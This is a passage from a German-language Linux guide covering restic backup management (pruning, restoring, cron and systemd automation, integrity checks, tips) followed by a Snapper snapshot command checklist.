e7f8a9b0  2025-02-22 10:00:00  laptop  /home/max
```

## 5.2 Inhalt eines Snapshots anzeigen

```
restic ls --repo /mnt/externe-festplatte/backups latest
```

## 5.3 Alte Snapshots löschen (Aufräumen)

Restic kann automatisch alte Snapshots löschen und nur eine bestimmte Anzahl behalten:

```
restic forget --repo /mnt/externe-festplatte/backups \
  --keep-daily 7 \
  --keep-weekly 4 \
  --keep-monthly 6 \
  --prune
```

Diese Einstellung behält: **7 tägliche + 4 wöchentliche + 6 monatliche** Snapshots.

<div class="note" id="bkmrk-%F0%9F%92%A1---prune-entfernt-a">💡 `--prune` entfernt auch die eigentlichen Daten und gibt Speicherplatz frei.</div># 6. Backup wiederherstellen (Restore)

## 6.1 Komplette Wiederherstellung

```
restic restore latest --repo /mnt/externe-festplatte/backups --target /
```

<div class="warn" id="bkmrk-%E2%9A%A0%EF%B8%8F-beim-wiederherste">⚠️ Beim Wiederherstellen auf `/` (Root) werden vorhandene Dateien überschrieben! Nur im Notfall verwenden.</div>## 6.2 In ein anderes Verzeichnis wiederherstellen (empfohlen)

Sicherer ist es, erst in ein temporäres Verzeichnis wiederherzustellen:

```
restic restore latest --repo /mnt/externe-festplatte/backups --target /tmp/wiederherstellung
```

Danach kannst du gezielt einzelne Dateien zurückkopieren.

## 6.3 Bestimmten Snapshot wiederherstellen

Zuerst alle Snapshots anzeigen:

```
restic snapshots --repo /mnt/externe-festplatte/backups
```

Dann den gewünschten Snapshot mit seiner ID wiederherstellen:

```
restic restore a3b4c5d6 --repo /mnt/externe-festplatte/backups --target /tmp/wiederherstellung
```

## 6.4 Einzelne Datei oder Ordner wiederherstellen

Mit `--include` kannst du nur bestimmte Pfade wiederherstellen:

```
restic restore latest --repo /mnt/externe-festplatte/backups \
  --target /tmp/wiederherstellung \
  --include /home/max/Dokumente
```

## 6.5 Backup als Dateisystem mounten

Du kannst Snapshots wie ein Dateisystem einhängen und darin stöbern – ohne etwas wiederherstellen zu müssen:

```
mkdir /tmp/restic-mount
restic mount --repo /mnt/externe-festplatte/backups /tmp/restic-mount
```

Danach kannst du mit dem Dateimanager in `/tmp/restic-mount` alle alten Backups durchsuchen. Mit **Strg+C** beendest du den Mount.

# 7. Automatisches Backup einrichten

## 7.1 Backup-Skript erstellen

Erstelle die Datei `/usr/local/bin/restic-backup.sh`:

```
#!/bin/bash
REPO=/mnt/externe-festplatte/backups
PASSWORT_DATEI=/root/.restic-passwort

# Backup erstellen
restic backup \
  --repo $REPO \
  --password-file $PASSWORT_DATEI \
  /home/BENUTZERNAME

# Alte Snapshots aufräumen
restic forget \
  --repo $REPO \
  --password-file $PASSWORT_DATEI \
  --keep-daily 7 \
  --keep-weekly 4 \
  --keep-monthly 6 \
  --prune
```

```
sudo chmod +x /usr/local/bin/restic-backup.sh
```

## 7.2 Automatisch per Cron ausführen

Crontab öffnen:

```
sudo crontab -e
```

Folgende Zeile einfügen (täglich um 02:00 Uhr):

```
0 2 * * * /usr/local/bin/restic-backup.sh >> /var/log/restic.log 2>&1
```

## 7.3 Systemd Timer (modernere Alternative)

Erstelle `/etc/systemd/system/restic-backup.service`:

```
[Unit]
Description=Restic Backup

[Service]
Type=oneshot
ExecStart=/usr/local/bin/restic-backup.sh
```

Erstelle `/etc/systemd/system/restic-backup.timer`:

```
[Unit]
Description=Restic Backup täglich

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target
```

Aktivieren:

```
sudo systemctl daemon-reload
sudo systemctl enable --now restic-backup.timer
```

# 8. Backup-Integrität prüfen

Es ist wichtig, Backups regelmäßig zu prüfen um sicherzustellen, dass sie im Notfall wirklich funktionieren.

## Schnelle Prüfung (nur Metadaten)

```
restic check --repo /mnt/externe-festplatte/backups
```

## Vollständige Prüfung (alle Daten)

```
restic check --read-data --repo /mnt/externe-festplatte/backups
```

<div class="note" id="bkmrk-%F0%9F%92%A1-die-vollst%C3%A4ndige-p">💡 Die vollständige Prüfung kann bei großen Backups lange dauern. Empfehlung: einmal monatlich durchführen.</div># 9. Nützliche Umgebungsvariablen

Um Repository und Passwort nicht bei jedem Befehl angeben zu müssen, kannst du diese in deine `~/.bashrc` eintragen:

```
export RESTIC_REPOSITORY=/mnt/externe-festplatte/backups
export RESTIC_PASSWORD_FILE=/home/BENUTZERNAME/.restic-passwort
```

Danach reicht einfach:

```
restic backup /home/BENUTZERNAME
restic snapshots
restic restore latest --target /tmp/wiederherstellung
```

# 10. Schnellreferenz – Alle wichtigen Befehle

<table id="bkmrk-befehl-beschreibung-"><tbody><tr><th>Befehl</th><th>Beschreibung</th></tr><tr><td>`restic init --repo /pfad`</td><td>Repository initialisieren</td></tr><tr><td>`restic backup --repo /pfad /home/user`</td><td>Backup erstellen</td></tr><tr><td>`restic snapshots --repo /pfad`</td><td>Alle Snapshots anzeigen</td></tr><tr><td>`restic restore latest --repo /pfad --target /ziel`</td><td>Letztes Backup wiederherstellen</td></tr><tr><td>`restic restore ID --repo /pfad --target /ziel`</td><td>Bestimmten Snapshot wiederherstellen</td></tr><tr><td>`restic ls --repo /pfad latest`</td><td>Inhalt des letzten Backups anzeigen</td></tr><tr><td>`restic mount --repo /pfad /mnt/punkt`</td><td>Backup als Dateisystem einhängen</td></tr><tr><td>`restic forget --keep-daily 7 --prune`</td><td>Alte Backups löschen</td></tr><tr><td>`restic check --repo /pfad`</td><td>Backup-Integrität prüfen</td></tr><tr><td>`restic self-update`</td><td>Restic auf neueste Version aktualisieren</td></tr></tbody></table>

# 11. Wichtige Tipps

<div class="warn" id="bkmrk-%E2%9A%A0%EF%B8%8F-passwort-sichern%21">⚠️ **Passwort sichern!** Ohne Passwort ist das Backup wertlos. Das Passwort niemals vergessen oder verlieren – es gibt keinen Wiederherstellungsweg!</div><div class="note" id="bkmrk-%F0%9F%92%A1-3-2-1-regel%3A-3-kop">💡 **3-2-1 Regel:** 3 Kopien der Daten, auf 2 verschiedenen Medien, davon 1 außerhalb (z.B. Nextcloud). Nur ein lokales Backup reicht nicht!</div><div class="note" id="bkmrk-%F0%9F%92%A1-backups-regelm%C3%A4%C3%9Fig">💡 **Backups regelmäßig testen!** Ein Backup, das man nie getestet hat, ist unzuverlässig. Stelle mindestens einmal pro Quartal eine Testdatei wieder her.</div><div class="warn" id="bkmrk-%E2%9A%A0%EF%B8%8F-externe-festplatt">⚠️ **Externe Festplatte nach dem Backup abziehen.** Schadsoftware (Ransomware) kann sonst auch das Backup beschädigen oder verschlüsseln.</div><div class="footer" id="bkmrk-restic-backup-%26-rest">Restic Backup &amp; Restore Anleitung – Für Linux | Erstellt Februar 2026</div>

# Snapper

<div class="markdown-preview-pusher" id="bkmrk-">  
</div><div class="mod-header mod-ui" id="bkmrk-snapper"><div autocapitalize="on" class="inline-title" contenteditable="true" enterkeyhint="done" spellcheck="true" tabindex="-1">Snapper</div></div># Snapper Befehle - Checkliste

## Konfiguration

```bash
sudo snapper list-configs

```

Alle Snapper-Konfigurationen auflisten

```bash
sudo snapper -c root create-config /

```

Neue Konfiguration für ein Subvolume erstellen

```bash
sudo nano /etc/snapper/configs/root

```

Konfigurationsdatei bearbeiten

## Snapshots erstellen

```bash
sudo snapper -c root create -d "Beschreibung"

```

Manuellen Snapshot mit Beschreibung erstellen

```bash
sudo snapper -c root create --type=pre -d "Vor Installation"

```

Pre-Snapshot erstellen (für Paketinstallationen)

```bash
sudo snapper -c root create --type=post -p 1 -d "Nach Installation"

```

Post-Snapshot erstellen (mit Referenz zu Pre-Snapshot 1)

## Snapshots anzeigen

```bash
sudo snapper -c root list

```

Alle Snapshots der Konfiguration auflisten

```bash
sudo snapper -c root list -a

```

Detaillierte Snapshot-Liste mit allen Informationen

```bash
sudo snapper -c root info 5

```

Informationen zu Snapshot Nr. 5 anzeigen

## Snapshots vergleichen

```bash
sudo snapper -c root diff 0..5

```

Unterschiede zwischen aktuellem System und Snapshot 5 zeigen

```bash
sudo snapper -c root diff 3..5

```

Unterschiede zwischen Snapshot 3 und 5 vergleichen

```bash
sudo snapper -c root status 0..5

```

Status der Unterschiede anzeigen

## Dateien wiederherstellen

```bash
sudo snapper -c root mount 5

```

Snapshot 5 als Lesevorgang mounten

```bash
sudo ls /.snapshots/5/snapshot/

```

Dateien des gemounteten Snapshots anschauen

```bash
sudo umount /.snapshots/5/snapshot

```

Snapshot unmounten

```bash
sudo snapper -c root restore 5

```

Zum Snapshot 5 zurückkehren (komplette Wiederherstellung)